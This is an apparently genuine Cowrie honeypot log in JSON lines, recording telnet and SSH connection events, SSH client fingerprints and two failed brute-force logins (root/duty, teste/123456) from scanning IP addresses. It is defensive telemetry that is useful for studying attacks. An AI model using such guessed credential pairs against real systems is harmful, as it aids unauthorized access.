{"eventid":"cowrie.session.closed","duration":31.019433736801147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:07.055331Z","src_ip":"173.249.44.46","session":"c0cdd33c4ab4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.847769021987915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:07.059582Z","src_ip":"149.102.133.101","session":"36e3a82ccfcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864474296569824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:07.063200Z","src_ip":"46.101.32.143","session":"c4ca8ff531f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109838008880615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:07.075526Z","src_ip":"81.30.157.18","session":"af5e5de06e2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85812020301819,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:07.118127Z","src_ip":"81.30.157.18","session":"3c4da5ff3216","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.812668085098267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:07.171144Z","src_ip":"81.30.157.18","session":"461d7555d15f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":51822,"dst_ip":"159.203.135.109","dst_port":23,"session":"247f9ddc6cd7","protocol":"telnet","message":"New connection: 81.30.157.18:51822 (159.203.135.109:23) [session: 247f9ddc6cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:07.325553Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":40226,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5fb7223fd25","protocol":"ssh","message":"New connection: 103.228.69.212:40226 (10.17.0.5:22) [session: b5fb7223fd25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:07.408767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:07.413292Z","src_ip":"103.228.69.212","session":"b5fb7223fd25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":39436,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4c55fbad6a2","protocol":"telnet","message":"New connection: 37.187.24.227:39436 (159.203.135.109:23) [session: d4c55fbad6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:07.524121Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":43830,"dst_ip":"159.203.135.109","dst_port":23,"session":"36fc95d4928b","protocol":"telnet","message":"New connection: 206.189.139.22:43830 (159.203.135.109:23) [session: 36fc95d4928b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:07.617980Z"}
{"eventid":"cowrie.session.closed","duration":31.449556350708008,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:07.631991Z","src_ip":"46.101.32.143","session":"995eab112d9f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:07.644573Z","src_ip":"103.228.69.212","session":"b5fb7223fd25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58784,"dst_ip":"159.203.135.109","dst_port":23,"session":"c97c272cd1f8","protocol":"telnet","message":"New connection: 149.102.133.101:58784 (159.203.135.109:23) [session: c97c272cd1f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:07.877071Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55846,"dst_ip":"159.203.135.109","dst_port":23,"session":"a96df930d04d","protocol":"telnet","message":"New connection: 168.119.91.149:55846 (159.203.135.109:23) [session: a96df930d04d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:07.983211Z"}
{"eventid":"cowrie.session.closed","duration":30.179457664489746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:08.076689Z","src_ip":"37.187.24.227","session":"57f88f4cc78a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634119749069214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:08.083144Z","src_ip":"149.102.133.101","session":"5c8c34251af1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.436161518096924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:08.151901Z","src_ip":"173.249.44.46","session":"dc13e96662e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":58058,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f5a187d955e","protocol":"telnet","message":"New connection: 82.163.78.83:58058 (159.203.135.109:23) [session: 9f5a187d955e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:08.201401Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":47640,"dst_ip":"159.203.135.109","dst_port":23,"session":"c82b8b3aff42","protocol":"telnet","message":"New connection: 46.101.32.143:47640 (159.203.135.109:23) [session: c82b8b3aff42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:08.300977Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":55450,"dst_ip":"10.17.0.5","dst_port":22,"session":"30dfa256ea2d","protocol":"ssh","message":"New connection: 209.99.185.195:55450 (10.17.0.5:22) [session: 30dfa256ea2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:08.323051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:08.328300Z","src_ip":"209.99.185.195","session":"30dfa256ea2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:08.437773Z","src_ip":"209.99.185.195","session":"30dfa256ea2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58790,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdd450326a2c","protocol":"telnet","message":"New connection: 149.102.133.101:58790 (159.203.135.109:23) [session: cdd450326a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:08.445087Z"}
{"eventid":"cowrie.session.closed","duration":30.633731603622437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:08.476375Z","src_ip":"168.119.91.149","session":"a9f08c34b786","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"duty","message":"login attempt [root/duty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:08.597619Z","src_ip":"103.228.69.212","session":"b5fb7223fd25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55860,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba4690f85516","protocol":"telnet","message":"New connection: 168.119.91.149:55860 (159.203.135.109:23) [session: ba4690f85516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:08.788790Z"}
{"eventid":"cowrie.login.failed","username":"teste","password":"123456","message":"login attempt [teste/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:08.909076Z","src_ip":"209.99.185.195","session":"30dfa256ea2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.7476909160614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:09.064613Z","src_ip":"81.30.157.18","session":"e4634eaa7001","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.247509241104126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:09.096992Z","src_ip":"46.101.32.143","session":"6464ab2840ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":43078,"dst_ip":"159.203.135.109","dst_port":23,"session":"8110a2efccb3","protocol":"telnet","message":"New connection: 37.187.24.227:43078 (159.203.135.109:23) [session: 8110a2efccb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:09.194940Z"}
{"eventid":"cowrie.session.closed","duration":30.44990301132202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:09.272419Z","src_ip":"37.187.24.227","session":"9e5609582a01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.560248851776123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:09.387224Z","src_ip":"81.30.157.18","session":"72e90a37d9d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:09.833054Z","src_ip":"103.228.69.212","session":"b5fb7223fd25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:10.021742Z","src_ip":"209.99.185.195","session":"30dfa256ea2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06122899055481,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:10.056959Z","src_ip":"37.187.24.227","session":"0a65193ebe45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":49558,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4d0682ff58a","protocol":"telnet","message":"New connection: 46.101.32.143:49558 (159.203.135.109:23) [session: b4d0682ff58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:10.063496Z"}
{"eventid":"cowrie.session.closed","duration":30.942442417144775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:10.130405Z","src_ip":"81.30.157.18","session":"0a856dd0b7e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.785402536392212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:10.150439Z","src_ip":"85.208.100.77","session":"b6e2c1a4b1cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.626096963882446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:10.164937Z","src_ip":"206.189.139.22","session":"11ad359ff852","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.265259265899658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:10.173188Z","src_ip":"173.249.44.46","session":"84c1ef898e4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58806,"dst_ip":"159.203.135.109","dst_port":23,"session":"246a70749583","protocol":"telnet","message":"New connection: 149.102.133.101:58806 (159.203.135.109:23) [session: 246a70749583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:10.272769Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":52448,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd5ae5a19748","protocol":"telnet","message":"New connection: 85.208.100.77:52448 (159.203.135.109:23) [session: bd5ae5a19748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:10.442561Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":51824,"dst_ip":"159.203.135.109","dst_port":23,"session":"9accc6c5542b","protocol":"telnet","message":"New connection: 81.30.157.18:51824 (159.203.135.109:23) [session: 9accc6c5542b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:10.512466Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":60686,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8282afd51be","protocol":"telnet","message":"New connection: 82.163.78.83:60686 (159.203.135.109:23) [session: c8282afd51be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:10.645052Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":50300,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b79215e53d2","protocol":"telnet","message":"New connection: 46.101.32.143:50300 (159.203.135.109:23) [session: 2b79215e53d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:10.658315Z"}
{"eventid":"cowrie.session.closed","duration":31.41378116607666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:10.712281Z","src_ip":"46.101.32.143","session":"7bbb93edc6c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.264386892318726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:11.052370Z","src_ip":"46.101.32.143","session":"1384479d1380","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.523545265197754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:11.080194Z","src_ip":"147.135.136.77","session":"48152f49bb53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906190872192383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:11.131218Z","src_ip":"81.30.157.18","session":"330663807a6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.017213344573975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:11.290170Z","src_ip":"81.30.157.18","session":"82524e5b988b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":50924,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5d2a8396afd","protocol":"telnet","message":"New connection: 46.101.32.143:50924 (159.203.135.109:23) [session: d5d2a8396afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:11.331150Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52736,"dst_ip":"159.203.135.109","dst_port":23,"session":"378857a778b0","protocol":"telnet","message":"New connection: 168.119.91.149:52736 (159.203.135.109:23) [session: 378857a778b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:11.458979Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58810,"dst_ip":"159.203.135.109","dst_port":23,"session":"4babe5bbfa65","protocol":"telnet","message":"New connection: 149.102.133.101:58810 (159.203.135.109:23) [session: 4babe5bbfa65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:11.472761Z"}
{"eventid":"cowrie.session.closed","duration":30.777725219726562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:11.484798Z","src_ip":"168.119.91.149","session":"732faaaca51b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":33652,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1b718ed8262","protocol":"telnet","message":"New connection: 82.163.78.83:33652 (159.203.135.109:23) [session: d1b718ed8262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:11.590521Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":33696,"dst_ip":"159.203.135.109","dst_port":23,"session":"6544933461f5","protocol":"telnet","message":"New connection: 82.163.78.83:33696 (159.203.135.109:23) [session: 6544933461f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:11.645492Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":51520,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3e32017e2fa","protocol":"telnet","message":"New connection: 46.101.32.143:51520 (159.203.135.109:23) [session: e3e32017e2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:11.761890Z"}
{"eventid":"cowrie.session.closed","duration":30.2927508354187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:12.060123Z","src_ip":"46.101.32.143","session":"8232cb2880ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58814,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbe24a7b4296","protocol":"telnet","message":"New connection: 149.102.133.101:58814 (159.203.135.109:23) [session: cbe24a7b4296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:12.092653Z"}
{"eventid":"cowrie.session.closed","duration":30.4554545879364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:12.133048Z","src_ip":"81.30.157.18","session":"7747010f2099","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95673108100891,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:12.173166Z","src_ip":"149.102.133.101","session":"45b62b43c606","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":56354,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0b9c936a9c2","protocol":"telnet","message":"New connection: 85.208.100.77:56354 (159.203.135.109:23) [session: a0b9c936a9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:12.336668Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":51838,"dst_ip":"159.203.135.109","dst_port":23,"session":"48ceaca84bda","protocol":"telnet","message":"New connection: 81.30.157.18:51838 (159.203.135.109:23) [session: 48ceaca84bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:12.600760Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":52062,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6ce41882583","protocol":"telnet","message":"New connection: 37.187.24.227:52062 (159.203.135.109:23) [session: d6ce41882583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:12.836653Z"}
{"eventid":"cowrie.session.closed","duration":30.368826627731323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:13.071244Z","src_ip":"46.101.32.143","session":"c70621c53988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":52624,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce49ad5e5d24","protocol":"telnet","message":"New connection: 37.187.24.227:52624 (159.203.135.109:23) [session: ce49ad5e5d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:13.124760Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":35338,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f59f9b6dc9f","protocol":"telnet","message":"New connection: 82.163.78.83:35338 (159.203.135.109:23) [session: 1f59f9b6dc9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:13.213201Z"}
{"eventid":"cowrie.session.closed","duration":31.062734365463257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:13.343729Z","src_ip":"85.208.100.77","session":"a13935d94184","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":57476,"dst_ip":"10.17.0.5","dst_port":23,"session":"76c94f68c503","protocol":"telnet","message":"New connection: 69.65.3.189:57476 (10.17.0.5:23) [session: 76c94f68c503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:13.352509Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":58520,"dst_ip":"159.203.135.109","dst_port":23,"session":"a54fe045dd8c","protocol":"telnet","message":"New connection: 85.208.100.77:58520 (159.203.135.109:23) [session: a54fe045dd8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:13.364959Z"}
{"eventid":"cowrie.session.closed","duration":30.90546441078186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:13.425622Z","src_ip":"149.102.133.101","session":"3d73f32cdb30","protocol":"telnet"}
